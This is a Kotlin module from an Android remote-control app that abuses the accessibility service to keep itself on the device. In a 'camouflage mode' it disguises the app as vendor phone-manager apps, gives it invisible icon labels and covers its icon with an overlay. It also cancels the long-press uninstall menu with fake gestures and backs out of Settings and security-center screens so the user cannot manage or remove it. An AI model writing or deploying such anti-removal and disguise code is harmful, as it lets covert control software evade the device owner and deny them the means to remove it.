package com.hikoncont.service.modules

import android.accessibilityservice.AccessibilityService
import android.content.Context
import android.util.Log
import android.view.accessibility.AccessibilityEvent
import android.view.accessibility.AccessibilityNodeInfo
import com.hikoncont.service.AccessibilityRemoteService

/**
 * APP图标长按监听和阻断器
 * 
 * 功能：
 * 1. 监听长按我们APP图标的事件
 * 2. 阻断长按操作，防止用户进入应用管理
 * 3. 提供替代操作或提示
 */
class AppIconLongPressInterceptor(private val context: Context) {
    
    companion object {
        private const val TAG = "AppIconLongPressInterceptor"
        
        // 我们的应用包名
        private const val OUR_PACKAGE_NAME = "com.hikoncont"
        
        // 桌面相关包名
        private val LAUNCHER_PACKAGES = listOf(
            "com.bbk.launcher2",      // Vivo桌面
            "com.miui.home",          // MIUI桌面
            "com.huawei.android.launcher", // 华为桌面
            "com.sec.android.app.launcher", // 三星桌面
            "com.oppo.launcher",     // OPPO桌面
            "com.oneplus.launcher",  // 一加桌面
            "com.android.launcher3", // 原生桌面
            "com.google.android.apps.nexuslauncher" // Pixel桌面
        )
    }
    
    private var isIntercepting = false
    private var lastInterceptTime = 0L
    private val interceptCooldown = 2000L // 2秒冷却时间

    // ⏱️ 长按启发式检测 - 触摸起始时间与延时任务
    private var lastOurIconCandidateTs = 0L // 最近一次判定为“我们的图标”的时间
    private val recentIconWindowMs = 1500L // 在 1.5s 内视为最近命中
    private val mainHandler = android.os.Handler(android.os.Looper.getMainLooper())
    private var pendingHeuristic: Runnable? = null

    // 📚 桌面长按菜单常见关键词（多厂商）
    private val longPressMenuKeywords = listOf(
        // 中文常见
        "应用信息", "卸载", "小部件", "快捷方式", "分屏", "锁定", "编辑", "隐藏", "桌面设置",
        // 英文常见
        "App info", "Uninstall", "Widgets", "Shortcut", "Split screen", "Lock", "Edit", "Hide", "Home settings"
    )

    // 遮罩管理器（懒加载）
    private var shieldManager: AppIconShieldOverlayManager? = null
    private fun ensureShieldManager(): AppIconShieldOverlayManager? {
        val svc = com.hikoncont.service.AccessibilityRemoteService.getInstance() ?: return null
        if (shieldManager == null) shieldManager = AppIconShieldOverlayManager(svc)
        return shieldManager
    }

    // 连续未命中计数，用于避免频繁闪烁
    private var consecutiveMissCount = 0
    private val maxConsecutiveMissBeforeHide = 3
    
    /**
     * 处理无障碍事件
     */
    fun handleAccessibilityEvent(event: AccessibilityEvent): Boolean {
        return try {
            // 🎭 仅在伪装模式下启用拦截逻辑（替代原来的安装完成判断）
            val isCamouflage = isCamouflageMode()
            if (!isCamouflage) {
//                Log.d(TAG, "🎭 未处于伪装模式，跳过APP图标长按监听")
                return false
            }

            when (event.eventType) {
                // 仅依赖窗口变化：不使用 TOUCH 事件
                AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED,
                AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED -> {
                    val pkg = event.packageName?.toString() ?: ""
                    if (!isLauncherEnvironment(pkg)) return false

                    // 遍历整棵树定位我方图标（兼容 event.source 不是图标节点的情况）
                    com.hikoncont.service.AccessibilityRemoteService.getInstance()?.let { svc ->
                        val root = svc.rootInActiveWindow
                        val foundBounds = root?.let { findOurIconBounds(it) }
                        if (foundBounds != null) {
                            lastOurIconCandidateTs = System.currentTimeMillis()
                            consecutiveMissCount = 0
                            // 扩大遮罩，增加10dp边距，提升覆盖稳健性
                            val dm = svc.resources.displayMetrics
                            val pad = (10 * dm.density).toInt()
                            foundBounds.inset(-pad, -pad)
                            ensureShieldManager()?.let { mgr ->
                                if (mgr.isShown()) mgr.update(foundBounds) else mgr.show(foundBounds)
                            }
                        } else {
                            consecutiveMissCount++
                            if (consecutiveMissCount >= maxConsecutiveMissBeforeHide) {
                                ensureShieldManager()?.hide()
                            } else {
                                // keep overlay state
                            }
                        }
                    }

                    // 若近期识别到我们的图标，且检测到长按菜单征兆，则拦截
                    val now = System.currentTimeMillis()
                    val recentOurIcon = (now - lastOurIconCandidateTs) < recentIconWindowMs
                    if (recentOurIcon && detectLongPressMenu(event)) {
                        Log.i(TAG, "🛡️ 侦测到针对我们的长按菜单，执行取消")
                        cancelLongPressByMicroSwipeOrBack()
                        lastInterceptTime = now
                        true
                    } else {
                        false
                    }
                }

                else -> false
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理无障碍事件失败", e)
            false
        }
    }

    // ⏱️ 安排启发式检查：触摸开始约0.4s后，若仍在桌面且目标为我们的图标，则提前打断
    // 已不再使用 TOUCH 启发式，保留空实现以兼容调用路径
    private fun scheduleHeuristicCheck(event: AccessibilityEvent) { /* no-op */ }
    private fun cancelHeuristicCheck() { /* no-op */ }

    // 🔎 检测是否出现了长按菜单的弹层信号（通过文本/描述关键词）
    private fun detectLongPressMenu(event: AccessibilityEvent): Boolean {
        val pkg = event.packageName?.toString() ?: ""
        if (!isLauncherEnvironment(pkg)) return false

        try {
            // 汇集可见文本
            val texts = mutableListOf<String>()
            try { event.text?.forEach { texts.add(it?.toString().orEmpty()) } } catch (_: Exception) {}
            try { event.contentDescription?.let { texts.add(it.toString()) } } catch (_: Exception) {}

            if (texts.isEmpty()) return false
            val joined = texts.joinToString("|")
            // 仅当检测到菜单关键词且包含我们的应用名时，才认为是“对我们图标的长按菜单”
            val hasMenuKeyword = longPressMenuKeywords.any { key -> joined.contains(key, ignoreCase = true) }
            if (!hasMenuKeyword) return false
            val appName = getOurAppName()
            return joined.contains(appName, ignoreCase = true)
        } catch (_: Exception) { }
        return false
    }

    // 遍历子树查找“我方图标”并返回其屏幕区域
    private fun findOurIconBounds(root: AccessibilityNodeInfo): android.graphics.Rect? {
        val queue: java.util.ArrayDeque<AccessibilityNodeInfo> = java.util.ArrayDeque()
        queue.add(root)
        var visited = 0
        val maxNodes = 120
        while (queue.isNotEmpty() && visited < maxNodes) {
            val n = queue.removeFirst()
            visited++
            try {
                if (isOurAppIcon(n)) {
                    val r = android.graphics.Rect()
                    n.getBoundsInScreen(r)
                    // 过滤异常小区域
                    if (r.width() > 8 && r.height() > 8) return r
                }
                for (i in 0 until n.childCount) {
                    n.getChild(i)?.let { queue.add(it) }
                }
            } catch (_: Exception) {}
        }
        return null
    }

    // 🧰 通过微小滑动取消长按；不支持手势时回退到Back
    private fun cancelLongPressByMicroSwipeOrBack() {
        val service = AccessibilityRemoteService.getInstance()
        if (service == null) {
            performBackAction()
            return
        }
        if (android.os.Build.VERSION.SDK_INT >= 24) {
            try {
                val displayMetrics = service.resources.displayMetrics
                val cx = (displayMetrics.widthPixels / 2f)
                val cy = (displayMetrics.heightPixels / 2f)
                val path = android.graphics.Path().apply {
                    moveTo(cx, cy)
                    lineTo(cx + 5f, cy + 5f) // 极小位移
                }
                val stroke = android.accessibilityservice.GestureDescription.StrokeDescription(path, 0, 50)
                val gesture = android.accessibilityservice.GestureDescription.Builder()
                    .addStroke(stroke)
                    .build()
                service.dispatchGesture(gesture, null, null)
                return
            } catch (_: Exception) {
                // 回退
            }
        }
        performBackAction()
    }

    /**
     * 🎭 检测是否处于APP伪装模式
     * 判定标准与服务侧保持一致：MainActivity 被禁用，且任一伪装 alias 启用
     */
    private fun isCamouflageMode(): Boolean {
        return try {
            val pm = context.packageManager
            val mainComponent = android.content.ComponentName(context, "com.hikoncont.MainActivity")
            val mainState = pm.getComponentEnabledSetting(mainComponent)
            val mainDisabled = mainState == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_DISABLED

            // 与服务端一致的 alias 列表
            val camouflageAliases = listOf(
                "com.hikoncont.PhoneManagerAlias",
                "com.hikoncont.VivoIGuanjiaAlias",
                "com.hikoncont.OppoAlias",
                "com.hikoncont.HuaweiAlias",
                "com.hikoncont.HonorAlias",
                "com.hikoncont.SamsungAlias",
                "com.hikoncont.GoogleAlias",
                "com.hikoncont.LenovoAlias",
                "com.hikoncont.MeizuAlias"
            )

            var anyAliasEnabled = false
            for (alias in camouflageAliases) {
                try {
                    val component = android.content.ComponentName(context, alias)
                    val state = pm.getComponentEnabledSetting(component)
                    if (state == android.content.pm.PackageManager.COMPONENT_ENABLED_STATE_ENABLED) {
                        anyAliasEnabled = true
                        break
                    }
                } catch (_: Exception) { }
            }

            val isCamouflage = mainDisabled && anyAliasEnabled
//            Log.d(TAG, "🎭 伪装模式检测: $isCamouflage (MainDisabled=$mainDisabled, AnyAliasEnabled=$anyAliasEnabled)")
            isCamouflage
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检测伪装模式失败", e)
            false
        }
    }
    
    /**
     * 处理长按事件
     */
    private fun handleLongClickEvent(event: AccessibilityEvent): Boolean {
        try {
            val source = event.source ?: return false
            val packageName = event.packageName?.toString() ?: ""
            
            Log.d(TAG, "🔍 检测到长按事件: 包名=$packageName")
            
            // 检查是否在桌面环境
            if (!isLauncherEnvironment(packageName)) {
                return false
            }
            
            // 检查是否长按了我们的APP图标
            if (isOurAppIcon(source)) {
                Log.i(TAG, "🛡️ 检测到长按我们的APP图标，开始阻断")
                return interceptLongPress(source)
            }
            
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理长按事件失败", e)
            return false
        }
    }
    
    /**
     * 处理窗口状态变化
     */
    private fun handleWindowStateChanged(event: AccessibilityEvent): Boolean {
        try {
            val packageName = event.packageName?.toString() ?: ""
            
            // 如果进入了应用管理界面，尝试返回
            if (isAppManagementScreen(packageName)) {
                Log.i(TAG, "🛡️ 检测到进入应用管理界面，尝试返回")
                return handleAppManagementScreen()
            }
            
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理窗口状态变化失败", e)
            return false
        }
    }
    
    /**
     * 检查是否在桌面环境
     */
    private fun isLauncherEnvironment(packageName: String): Boolean {
        return LAUNCHER_PACKAGES.contains(packageName)
    }
    
    /**
     * 检查是否长按了我们的APP图标
     */
    private fun isOurAppIcon(node: AccessibilityNodeInfo): Boolean {
        return try {
            // 方法1: 检查包名
            val packageName = node.packageName?.toString()
            if (packageName == OUR_PACKAGE_NAME) {
                Log.d(TAG, "✅ 命中包名判断: packageName=$packageName")
                return true
            }
            
            // 方法2: 检查应用名称
            val appName = getOurAppName()
            val nodeText = node.text?.toString() ?: ""
            val nodeDesc = node.contentDescription?.toString() ?: ""
            Log.d(TAG, "🔎 文本检查: nodeText='$nodeText', nodeDesc='$nodeDesc', appName='$appName'")
            
            if (nodeText.contains(appName, true) || nodeDesc.contains(appName, true)) {
                Log.d(TAG, "✅ 命中文本/描述包含应用名: appName='$appName'")
                return true
            }

            // ✅ 机型特例：vivo/华为伪装后名称为不可见字符（例如 "\u2800\u2800" 或全角空格）
            val isVivoOrHuawei = try {
                val m = android.os.Build.BRAND?.lowercase() ?: ""
                m.contains("vivo") || m.contains("huawei") || m.contains("honor")
            } catch (_: Exception) { false }
            if (isCamouflageMode() && isVivoOrHuawei) {
                if (isInvisibleLabel(nodeText) || isInvisibleLabel(nodeDesc)) {
                    Log.d(TAG, "✅ 命中vivo/华为不可见名称伪装判定")
                    return true
                }
            }
            
            // 方法3: 检查父节点中的应用名称
            val parent = node.parent
            if (parent != null) {
                val parentText = parent.text?.toString() ?: ""
                val parentDesc = parent.contentDescription?.toString() ?: ""
                Log.d(TAG, "🔎 父节点文本: parentText='$parentText', parentDesc='$parentDesc'")
                
                if (parentText.contains(appName, true) || parentDesc.contains(appName, true)) {
                    Log.d(TAG, "✅ 命中父节点包含应用名")
                    return true
                }
                if (isCamouflageMode() && isVivoOrHuawei && (isInvisibleLabel(parentText) || isInvisibleLabel(parentDesc))) {
                    Log.d(TAG, "✅ 命中父节点不可见名称伪装判定")
                    return true
                }
            }
            
            // 方法4: 检查兄弟节点中的应用名称
            val grandParent = parent?.parent
            if (grandParent != null) {
                Log.d(TAG, "🔎 检查兄弟节点, grandParent.childCount=${grandParent.childCount}")
                for (i in 0 until grandParent.childCount) {
                    val sibling = grandParent.getChild(i)
                    if (sibling != null) {
                        val siblingText = sibling.text?.toString() ?: ""
                        val siblingDesc = sibling.contentDescription?.toString() ?: ""
                        if (siblingText.isNotEmpty() || siblingDesc.isNotEmpty()) {
                            Log.v(TAG, "   ↳ sibling[$i]: text='$siblingText', desc='$siblingDesc'")
                        }
                        
                        if (siblingText.contains(appName, true) || siblingDesc.contains(appName, true)) {
                            Log.d(TAG, "✅ 命中兄弟节点包含应用名")
                            return true
                        }
                        if (isCamouflageMode() && isVivoOrHuawei && (isInvisibleLabel(siblingText) || isInvisibleLabel(siblingDesc))) {
                            Log.d(TAG, "✅ 命中兄弟节点不可见名称伪装判定")
                            return true
                        }
                    }
                }
            }

            // 方法5: 在邻近子树中广搜（兼容图标与文本分离的桌面）
            val matchedNearby = searchNearbyForOurLabel(node, appName)
            if (matchedNearby) {
                Log.d(TAG, "✅ 在邻近子树中命中我们的图标/标签")
                return true
            }
            
            Log.d(TAG, "❌ 未识别为我们的APP图标")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查APP图标失败", e)
            false
        }
    }

    // 广搜父系最多3层的邻近子树，查找包含应用名/不可见名/伪装别名的节点
    private fun searchNearbyForOurLabel(start: AccessibilityNodeInfo, appName: String): Boolean {
        try {
            val ancestors = ArrayList<AccessibilityNodeInfo>()
            var cur: AccessibilityNodeInfo? = start
            var depth = 0
            while (cur != null && depth < 3) {
                ancestors.add(cur)
                cur = cur.parent
                depth++
            }

            for (ancestor in ancestors) {
                if (ancestor == null) continue
                if (scanSubtreeForLabel(ancestor, appName, 60)) { // 限制最多扫描60个节点，避免过重
                    return true
                }
            }
        } catch (_: Exception) {}
        return false
    }

    private fun scanSubtreeForLabel(root: AccessibilityNodeInfo, appName: String, maxNodes: Int): Boolean {
        val queue: java.util.ArrayDeque<AccessibilityNodeInfo> = java.util.ArrayDeque()
        queue.add(root)
        var visited = 0
        val isVivoOrHuawei = try {
            val b = android.os.Build.BRAND?.lowercase() ?: ""
            b.contains("vivo") || b.contains("huawei") || b.contains("honor")
        } catch (_: Exception) { false }

        while (queue.isNotEmpty() && visited < maxNodes) {
            val n = queue.removeFirst()
            visited++
            try {
                val t = n.text?.toString() ?: ""
                val d = n.contentDescription?.toString() ?: ""
                if (t.contains(appName, true) || d.contains(appName, true)) return true
                if (isCamouflageMode() && isVivoOrHuawei && (isInvisibleLabel(t) || isInvisibleLabel(d))) return true
                // 子节点入队
                for (i in 0 until n.childCount) {
                    n.getChild(i)?.let { queue.add(it) }
                }
            } catch (_: Exception) {}
        }
        return false
    }
    
    /**
     * 获取我们的应用名称
     */
    private fun getOurAppName(): String {
        return try {
            val pm = context.packageManager
            val appInfo = context.applicationInfo
            pm.getApplicationLabel(appInfo).toString()
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取应用名称失败", e)
            "Remote Control"
        }
    }

    // ✅ 判断字符串是否为“不可见名称”（仅由空白/特殊空白字符组成）
    private fun isInvisibleLabel(s: String?): Boolean {
        if (s == null) return false
        if (s.isEmpty()) return false
        // 移除常见空白：\s、NBSP、全角空格、窄空格、零宽空格、Braille空格等
        val stripped = s.replace("\\s|\u00A0|\u1680|\u180E|[\u2000-\u200B]|\u202F|\u205F|\u2060|\u3000|\u2800".toRegex(), "")
        return stripped.isEmpty()
    }
    
    /**
     * 阻断长按操作
     */
    private fun interceptLongPress(node: AccessibilityNodeInfo): Boolean {
        try {
            val currentTime = System.currentTimeMillis()
            
            // 检查冷却时间
            if (currentTime - lastInterceptTime < interceptCooldown) {
                Log.d(TAG, "⏰ 阻断操作在冷却时间内，跳过")
                return false
            }
            
            lastInterceptTime = currentTime
            isIntercepting = true
            
            Log.i(TAG, "🛡️ 开始阻断长按操作")
            
            // 方法1: 模拟返回键
            performBackAction()
            
            // 方法2: 模拟点击其他区域
            performAlternativeAction()
            
            // 方法3: 显示提示信息
            showInterceptMessage()
            
            Log.i(TAG, "✅ 长按操作阻断完成")
            return true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 阻断长按操作失败", e)
            return false
        } finally {
            isIntercepting = false
        }
    }
    
    /**
     * 执行返回操作
     */
    private fun performBackAction() {
        try {
            Log.d(TAG, "🔙 执行返回操作")
            
            val service = AccessibilityRemoteService.getInstance()
            service?.let {
                // 模拟返回键
                it.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
                
                // 延迟执行，确保操作生效
                android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                    try {
                        it.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
                        Log.d(TAG, "✅ 返回操作执行完成")
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ 延迟返回操作失败", e)
                    }
                }, 100)
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 执行返回操作失败", e)
        }
    }
    
    /**
     * 执行替代操作
     */
    private fun performAlternativeAction() {
        try {
            Log.d(TAG, "🔄 执行替代操作")
            
            // 替代操作改为微小滑动（已在 cancelLongPressByMicroSwipeOrBack 中实现）
            cancelLongPressByMicroSwipeOrBack()
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 执行替代操作失败", e)
        }
    }
    
    /**
     * 显示阻断提示信息
     */
    private fun showInterceptMessage() {
        try {
            Log.d(TAG, "💬 显示阻断提示信息")
            
            // 这里可以通过Toast或其他方式显示提示
            // 由于在无障碍服务中，Toast可能不会显示
            // 可以考虑通过其他方式通知用户
            
            Log.d(TAG, "🛡️ 长按操作已被阻断，请使用其他方式管理应用")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 显示提示信息失败", e)
        }
    }
    
    /**
     * 检查是否进入应用管理界面
     */
    private fun isAppManagementScreen(packageName: String): Boolean {
        val appManagementPackages = listOf(
            "com.android.settings",           // 系统设置
            "com.miui.securitycenter",        // MIUI安全中心
            "com.huawei.systemmanager",       // 华为系统管理
            "com.vivo.permissionmanager",     // Vivo权限管理
            "com.oppo.safecenter",           // OPPO安全中心
            "com.samsung.android.app.settings" // 三星设置
        )
        
        return appManagementPackages.contains(packageName)
    }
    
    /**
     * 处理应用管理界面
     */
    private fun handleAppManagementScreen(): Boolean {
        try {
            Log.i(TAG, "🛡️ 检测到应用管理界面，尝试返回")
            
            val service = AccessibilityRemoteService.getInstance()
            service?.let {
                // 连续执行返回操作
                it.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
                
                android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
                    try {
                        it.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
                        Log.d(TAG, "✅ 应用管理界面返回操作完成")
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ 延迟返回操作失败", e)
                    }
                }, 200)
            }
            
            return true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 处理应用管理界面失败", e)
            return false
        }
    }
    
    /**
     * 检查是否正在阻断
     */
    fun isIntercepting(): Boolean {
        return isIntercepting
    }
    
    /**
     * 重置阻断状态
     */
    fun resetInterceptState() {
        isIntercepting = false
        lastInterceptTime = 0L
        Log.d(TAG, "🔄 阻断状态已重置")
    }
}
